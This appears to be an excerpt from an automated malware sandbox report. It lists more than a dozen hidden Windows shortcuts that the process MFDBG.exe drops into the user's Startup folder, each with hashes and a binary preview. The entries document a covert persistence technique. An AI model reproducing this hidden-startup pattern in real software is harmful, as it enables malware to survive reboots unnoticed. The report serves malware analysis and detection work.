File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923705512136211
Encrypted:	false
SSDEEP:	24:8r2BfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8r8/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	87FA3A83DEEF0047ABE3D0025961264B
SHA1:	EBDD9A9F7996CDDF4160FF974A834BFCFD96FA5C
SHA-256:	E643771BB9C06D08D3BCD96655E587AB41771A12B6B5DB719ECE2CD15882A6F4
SHA-512:	6A1B11F9495F5AE445D3E77606586BB502B88490465E8E7D089BA0BB39165727E83C58FEF3B0FFFD20E5AA3A66EA315623778AB7A3B26FFB9C4C7FB6A6CC525D
Malicious:	false
Preview:	L..................F....".......d...g,.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd78e776cc0141d98fac53795a254411.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919020876266696
Encrypted:	false
SSDEEP:	24:82BfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0C1EB5FC63099260131610FF66F547A7
SHA1:	F2BBC64101438433131B5192D8904F7090A2308E
SHA-256:	C608A2685657B604F5E36608CCB3853DEE3F62ECD94B040FFC9009B42DEC3041
SHA-512:	5AD08433DBFA81E5B933CE203A856BBC57D32AE0CAFCB1298A7761761A405AEC75860A8DF68800CBCE3E55565641C7972453E0FD8956851FBD0B9F739E8229FC
Malicious:	false
Preview:	L..................F....".......d.....:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ddb92394195847bda11c29cd5bafe6ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925415304089124
Encrypted:	false
SSDEEP:	24:8FBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CB940AE6164636F3427F07230DCA700B
SHA1:	82770949E979912FA5A32C3A89AD42483F9A9AC5
SHA-256:	C492DCB1145040B9F21644338724138E7C6780A56AF210A135B05953B3789E70
SHA-512:	0E409EFE387D4A655EA81561DCF23BDC526235EE4A478CA362468A5B88E848587A2FAEF3F18EEBC1D3AD3C32EE9EA53BB387E71824C3FEF1AB43150BF39F32DB
Malicious:	false
Preview:	L..................F....".......d...-yi\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ddb959feb2de4e219dc51ccf30535b10.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9314891833750965
Encrypted:	false
SSDEEP:	24:8aBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Y4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	96269B8A903F0E2B4BC954CF6BBAB44C
SHA1:	51916D40B84915A5AE86B4DCEF62F62CD4D739DB
SHA-256:	BEA55C9240921BAB779BD4036E885896ED14C27AA7B869FFCE59862646A65DB9
SHA-512:	59CA2FE0ED2A2ADA2C0370CAE15EE8AED8686DAB36161190ECA3232E2115C7948A26FF54A91807D6F813DA5E5D1D40FCADBFCBDADB81428BBC8CC1ADFB2C33FD
Malicious:	false
Preview:	L..................F....".......d....P.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ddf5ce9ef93e46b9836095ca0b705386.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9273878423776925
Encrypted:	false
SSDEEP:	24:8xBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8L09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	1E406AF57E4A2441ECC1CC623C20D024
SHA1:	2269099BDCC902212E68385244486839A0C6BD63
SHA-256:	4313C1E4D0935659F9CC53A21858F7365FE940F73906C9F06181624BFEBB83AF
SHA-512:	FFC337E83C167BAB7AEF2C16ACDEFEB2BD00D7052CE09F27C45D154AC527EF41DFFB2D0DE251A0DBA15FEC38B3D53E025F0DF45BDECCA94CFF1FA27958A2B9CC
Malicious:	false
Preview:	L..................F....".......d......Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de1f5ec1e135499f8ac419f06e6e6c32.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919821898322078
Encrypted:	false
SSDEEP:	24:8w2BfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8w8P9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	96DA0F4A48FCD49A01C80C814FEA9F62
SHA1:	49E23E00F8467B26D39975075417EFA6CBC26EF1
SHA-256:	F9275E1807D456E4E5D833552DD827266C64D97BA37FECBA2B52B566BE0F8B32
SHA-512:	ADD3C4640C6A954117471D947377E44A1F34912CEE756274A1CFE6B6625414624C425E900F8E0E2E4B504CF48E257F36918AEC3C3B421B4262FFF66B9CF55461
Malicious:	false
Preview:	L..................F....".......d.....}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de327e69f3494ad4942c2c2715b12614.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926867938883611
Encrypted:	false
SSDEEP:	24:8LTBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	460DFA5F5012E94D4182F22A10FB29DC
SHA1:	560469578F0E4BA30FF4E4451724F3CD8D9C6E9D
SHA-256:	856DB28D2D52A874B266292D4953A39C6613FAF5C2A039D7C322AB8B20327318
SHA-512:	4D3E540C54BBDC3E17FF662C2A04C4AD58CA0E74F569026F4370E16EFE0278512C5961C3EA548EC1860EE1530331402FD858631D771D88A3CFFC728625E1812B
Malicious:	false
Preview:	L..................F....".......d......<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de3fad75c6f04e9ea04570bcdf94640d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9336832142082905
Encrypted:	false
SSDEEP:	24:8F4BfE8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	10FB0070B096AD37F321D049A5C3478A
SHA1:	F2159176955AC38E60F193801BE56DC35885D6E5
SHA-256:	A6F8ADEF1D9D2D8991F995A0BA4C2B0DC1153D50BA3423354D1146EF1A840C22
SHA-512:	06FE5DFA872A7A29BF817B7EBE48317EFDFAE1F77F92760C0D671C52314646628A97BAC4EB079F6E01A0B2D229C4DD49FAADDCF0FDF2414C0FE24C5F8DFF30C3
Malicious:	false
Preview:	L..................F....".......d.....*]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....%]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_de9ac4a308614189a6b4bf032b336629.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920601888295947
Encrypted:	false
SSDEEP:	24:8VTBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8vIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B0CC8693EF816A506666CF6254B7CE79
SHA1:	08871A4E4863C263B80F175FBED353E9DB7ECCBA
SHA-256:	6B03CA7E5C82F6142958034893E65C079161BF6B3EF2235A61F70A97BD3FC97A
SHA-512:	6F153E04245E141850684FEE89188B4008D050BD9993A185A7A4B6CFE506FE9B8DC82B34FF3B0A7544366F11FF5554BC211C08FF481B59FFC7685387F3B8A3B2
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_deaa59cb34ec40eab0d9edba32ab3925.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923110526983621
Encrypted:	false
SSDEEP:	24:8XBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xVEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ED0E469D98FFFC525B692D4717B382FA
SHA1:	33E04806D64B52CC1A3FFAA865B02FB8194D981F
SHA-256:	9434604C42FE2C61ABD3D61768C330CDD4F950881C8E84A84B27CD76384A8702
SHA-512:	B1E99CEEF559C2A862E7BCF50BCCE6FD4740FC56F406738C921FF925A7EE2F0281EA06864315AAE641B4BA46F1679A626A3D2E7B2FA2B0EEE503131B0B55C3CE
Malicious:	false
Preview:	L..................F....".......d....)q^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...K.n^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dec3c565ced64136bdd96311ab907b57.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9249606287194
Encrypted:	false
SSDEEP:	24:8fTBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E0AEEC26013BEA823D1F6C3C3D9FF97F
SHA1:	55F24CF8EE99A74CBBAA0E5F776E638154EB5526
SHA-256:	CE124A5E50C9FA83A56925685396DE2CF3E5F6B7ECE3B1C3F41E09E802F9633E
SHA-512:	A9EC87A8F37CD1AC75929894224C02B4B23EA7AE53E912FA401EA660C51BFEE232E3153E8158E6C12412B02A02A42BC3AE0F785AA2E552306766AD2B854190BD
Malicious:	false
Preview:	L..................F....".......d...[,.<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ded0ad1dfda94647bd0b21fd9915fe89.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928828786891702
Encrypted:	false
SSDEEP:	24:8BBf048EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8b89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	56B6EB3D78133C6DFC3765802478B678
SHA1:	6DDDB0988C38B3B0D96D2AA45D6303A0C7AE9CB1
SHA-256:	3B85D46C17C8E561A58F47D12A377014E900A143F0AC4D7FAA699AEE3CE04724
SHA-512:	00771B686415F7515561E7DC54C3623E55F6F1752CD5058EEE549F74482BE94690C615746C84EDCA1BB66B3B8646C71030ED21AF1C7D8303FD894E651ED6EA0C
Malicious:	false
Preview:	L..................F....".......d....E.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_deebfae9083543d185718818c3eefc0f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922138365708061
Encrypted:	false
SSDEEP:	24:8ITBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QsEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9443D1B9C7C293C573DB3FA23297C2F4
SHA1:	A447A910F737391D2A2F8667C6017E7B043797A6
SHA-256:	4C64CA641A7F6D8E106CD9281BAB50A47D5DA2DB5A548019DAA6572C847EEBAF
SHA-512:	66F028772AB27B906444BED080DB3E89E2157ECE7718EC99169C8328D29083B7A786B296C4BA68EB5C86372F1E7BA7999178A4FE7788C2E5E341F3ED9EB0B6E5
Malicious:	false
Preview:	L..................F....".......d.....<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_deef6bc6e50b46d4a7269868c8c4e8cb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
